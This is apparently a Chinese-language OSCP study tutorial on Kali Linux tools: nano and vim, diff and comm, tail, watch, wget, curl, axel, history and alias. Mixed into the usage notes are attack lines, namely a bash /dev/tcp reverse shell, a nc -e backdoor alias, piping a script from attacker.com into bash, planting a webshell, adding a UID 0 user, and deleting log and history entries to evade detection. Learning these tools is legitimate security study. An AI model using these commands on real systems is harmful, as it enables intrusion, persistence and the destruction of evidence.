Day7 Kali文本编辑、比较不同、监控、下载、历史命令
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
文本编辑器
在Kali Linux中,文本编辑器是渗透测试和系统配置的核心工具。
一、Nano编辑器:轻量级快速操作
1. 基础操作
• 文件操作
• 新建/打开文件:nano 文件名(支持路径跳转)
• 保存文件:Ctrl+O → 回车确认文件名
• 退出:Ctrl+X(未保存时会提示)
• 文本编辑
• 剪切行:Ctrl+K
• 粘贴:Ctrl+U
• 搜索:Ctrl+W → 输入关键词,Alt+W跳转下一个匹配项
2. 渗透向高级技巧
• 快速执行系统命令
在编辑界面按Ctrl+T,可直接执行Shell命令(如生成Payload或测试网络连接)。
• 修改敏感文件提权
例如通过sudo nano /etc/passwd添加UID=0的用户(需root权限):
testuser:x:0:0::/root:/bin/bash• 配置文件篡改
使用nano快速编辑SSH配置(/etc/ssh/sshd_config)或Web服务日志路径,隐藏攻击痕迹。
3. 效率优化配置
• 启用语法高亮 & 行号
修改~/.nanorc,添加:
include "/usr/share/nano/*.nanorc" # 语法高亮
set linenumbers # 显示行号
set mouse # 支持鼠标操作二、Vi/Vim编辑器:渗透测试的瑞士军刀
1. 模式切换与基本操作
• 模式切换
• 命令模式 → 插入模式:i(光标前插入)、a(光标后插入)
• 返回命令模式:Esc
• 渗透常用操作
• 批量替换::%s/old/new/g(替换文件内所有匹配项)
• 快速跳转::行号(如:100跳至第100行)
• 执行外部命令::!命令(如:!nmap 192.168.1.1扫描目标)
2. 渗透实战场景
• 日志分析与篡改
使用vim打开日志文件(如/var/log/auth.log),通过/Failed password快速定位爆破尝试记录并删除。
• 提权漏洞利用
编辑SUID文件或Cron任务脚本,插入反向Shell代码:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1• 多文件协同编辑
在渗透测试中同时操作多个配置文件,用:e 文件名切换文件,:sp分屏查看。
3. 高级功能配置
• 启用行号与搜索高亮
在~/.vimrc中添加:
set number " 显示行号
set hlsearch " 高亮搜索结果
syntax on " 语法高亮三、命令速查表(渗透向)
| 功能 | Nano命令 | Vim命令 | 渗透用途 |
| - | | — | |
| 保存并退出 | Ctrl+X → Y | :wq | 快速修改后退出 |
| 搜索关键词 | Ctrl+W | /关键词 | 定位配置文件中的敏感参数 |
| 执行系统命令 | Ctrl+T | :!命令 | 生成Payload或测试网络连通性 |
| 批量替换 | Ctrl+\ → 输入替换词 | :%s/old/new/g | 篡改日志或配置文件内容 |
| 提权操作 | sudo nano /etc/sudoers | vim /etc/passwd | 添加特权用户或SUID权限 |
四、注意事项
- 权限管理:渗透测试中编辑系统文件需配合
sudo,避免因权限不足中断操作。 - 备份机制:使用
nano -B或:w 备份文件名保留原始文件,防止误操作。 - 日志清理:通过编辑器删除日志后,需清除文件时间戳(
touch -r)以规避检测。
通过灵活运用这些技巧,你可以显著提升在Kali Linux中的渗透测试效率。如需更完整的命令列表,可参考man nano或vimtutor。
比较不同的方法和命令
1. 下载并解压扫描文件
# 下载文件
wget https://offensive-security.com/pwk-files/scans.tar.gz
# 解压到当前目录
tar -xzvf scans.tar.gz
# 进入解压后的目录
cd scans2. 确认需要对比的文件

3. 使用 diff 对比差异
# 基本对比(显示不同行的内容)
diff 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt
# 生成统一格式的差异报告(更易读)
diff -u 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt > diff_report.txt
# 仅关注关键信息(如开放的端口)
grep "open" 10.11.1.8_scan_01.txt > 10.11.1.8_scan_01_open.txt
grep "open" 10.11.1.8_scan_02.txt > 10.11.1.8_scan_02_open.txt
diff -u 10.11.1.8_scan_01_open.txt 10.11.1.8_scan_02_open.txt 


4. 使用 comm 对比独有/共有行
# 先排序文件(comm要求输入已排序)
sort scan_old.txt > scan_old_sorted.txt
sort scan_new.txt > scan_new_sorted.txt
# 对比文件(显示scan_old独有、scan_new独有、共有行)
comm s1.txt s2.txt
# 仅显示新增内容(s2独有)
comm -13 s1.txt s2.txt
# 仅显示删除内容(s1独有)
comm -23 s1.txt s2.txt
5. 使用 vimdiff 可视化对比
# 启动vimdiff并排对比
vimdiff scan_old.txt scan_new.txt
操作指南:
- 导航差异点:
•
]c:跳转到下一个差异位置。 •[c:跳转到上一个差异位置。 - 合并更改(可选):
•
do:将右侧内容应用到左侧(Diff Obtain)。 •dp:将左侧内容应用到右侧(Diff Put)。 - 退出:
•
:qa:退出所有窗口。
6. 实战技巧(渗透测试关注点)
• 端口变化:
# 提取新旧开放的端口列表
grep "open" scan_old.txt | awk '{print $1}' > ports_old.txt
grep "open" scan_new.txt | awk '{print $1}' > ports_new.txt
comm -13 ports_old.txt ports_new.txt # 新增端口
comm -23 ports_old.txt ports_new.txt # 关闭端口• 服务版本变化:
# 对比SSH服务版本
grep "ssh" scan_old.txt | awk '{print $4,$5}'
grep "ssh" scan_new.txt | awk '{print $4,$5}'速查表
| 工具 | 命令示例 | 用途 |
|---|---|---|
diff | diff -u file1 file2 | 生成行级差异报告 |
comm | comm -12 sorted1 sorted2 | 显示共有行 |
vimdiff | vimdiff file1 file2 | 可视化交互式对比 |
grep | grep "open" file | 过滤关键信息 |
sort | sort file > sorted_file | 排序文件以适配comm |
通过以上步骤,您可以高效分析扫描结果的差异,并快速定位目标系统的配置变化。
以下是 Kali Linux 中渗透测试常用命令的 高频用法解析 和 实战场景速查,覆盖 tail、watch、wget、curl、axel、history、alias:
监控命令
1. tail:实时追踪文件变化
渗透核心用途:
• 监控日志(如攻击痕迹、服务状态) • 追踪漏洞利用输出
常用参数:
tail -f /var/log/apache2/access.log # 实时跟踪文件末尾(-f)
tail -n 50 /var/log/auth.log # 显示最后50行(-n)
tail --pid=进程ID -f file.log # 跟踪文件直到进程结束实战场景:
# 实时观察 SSH 登录尝试(检测爆破行为)
tail -f /var/log/auth.log | grep "Failed password"2. watch:周期性执行命令并监控
渗透核心用途:
• 持续监控网络连接、进程状态 • 观察目标服务变化
常用参数:
watch -n 2 "netstat -antup | grep ESTAB" # 每2秒刷新(-n)
watch -d "ps aux | grep metasploit" # 高亮变化部分(-d)实战场景:
# 监控目标端口开放状态(检测防火墙规则变化)
watch -n 5 "nmap -p 80,443 192.168.1.100"下载命令
1. wget:非交互式文件下载
渗透核心用途:
• 下载漏洞利用代码、字典文件 • 镜像目标网站
常用参数:
wget http://example.com/exploit.py -O /tmp/exp.py # 指定保存路径(-O)
wget --user=admin --password=p@sswd http://intranet/backup.zip # 带认证下载
wget -r -l 2 --no-parent http://target.com/ # 递归下载目录(-r)实战场景:
# 下载并直接执行远程脚本(高风险操作!)
wget -qO- http://attacker.com/shell.sh | bash2. curl:高级HTTP请求工具
渗透核心用途:
• 测试API端点 • 上传/下载Webshell • 绕过WAF检测
常用参数:
curl -X POST -d "cmd=id" http://target.com/cmd.php # 发送POST请求(-X, -d)
curl -H "User-Agent: Mozilla" http://target.com # 自定义请求头(-H)
curl -o output.html http://target.com # 保存响应内容(-o)
curl -k https://self-signed-cert.com # 忽略SSL证书错误(-k)实战场景:
# 快速检测SQL注入漏洞(时间盲注)
curl -s "http://target.com/?id=1' AND SLEEP(5)--" -o /dev/null -w "Time: %{time_total}s"3. axel:多线程加速下载
渗透核心用途:
• 快速下载大文件(如字典、镜像) • 绕过下载限速
常用参数:
axel -n 10 http://mirror.kali.org/kali.iso # 启用10线程下载(-n)
axel -a -S https://mirrors.aliyun.com/kali # 自动选择镜像源(-S)实战场景:
# 多线程下载字典文件(提升效率)
axel -n 8 http://wordlists.secploit.com/rockyou.txt.gz历史记录和别名设置
1. history:管理命令行历史
渗透核心用途:
• 回溯攻击操作 • 清理痕迹
常用参数:
history # 显示全部历史命令
history | grep "nmap" # 过滤特定命令
history -c # 清空当前会话历史(-c)
!100 # 执行历史记录中第100条命令实战场景:
# 快速调用历史中的漏洞扫描命令
!ssh # 执行最后一次ssh命令
!! # 重复上一条命令2. alias:自定义命令别名
渗透核心用途:
• 简化复杂命令 • 隐藏恶意操作
常用配置:
alias l='ls -lah' # 简化文件列表
alias scan='nmap -sV -Pn -T4' # 快速扫描模板
alias http-server='python3 -m http.server' # 一键启动HTTP服务实战场景:
# 创建隐蔽后门别名(持久化需写入 ~/.bashrc)
alias innocent='echo "Hello" && nc -e /bin/sh 192.168.1.100 4444'渗透命令速查表
| 场景 | 命令示例 |
| - | |
| 实时监控日志 | tail -f /var/log/nginx/access.log \| grep "sqlmap" |
| 检测端口变化 | watch -n 10 "nmap -p- 192.168.1.1" |
| 下载Webshell | wget http://attacker.com/shell.php -U "Mozilla" -O /var/www/html/cmd.php |
| 绕过WAF | curl -X POST -H "X-Forwarded-For: 127.0.0.1" -d "param=../../etc/passwd" |
| 清理痕迹 | history -d 1001 && history -c |
注意事项
- 日志清理:使用
history -d或shred -zu ~/.bash_history清除敏感操作记录。 - 隐蔽下载:通过
curl的--socks5参数或proxychains代理下载,避免暴露真实IP。 - 别名持久化:将常用别名写入
~/.bashrc或/etc/profile,重启后仍生效。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚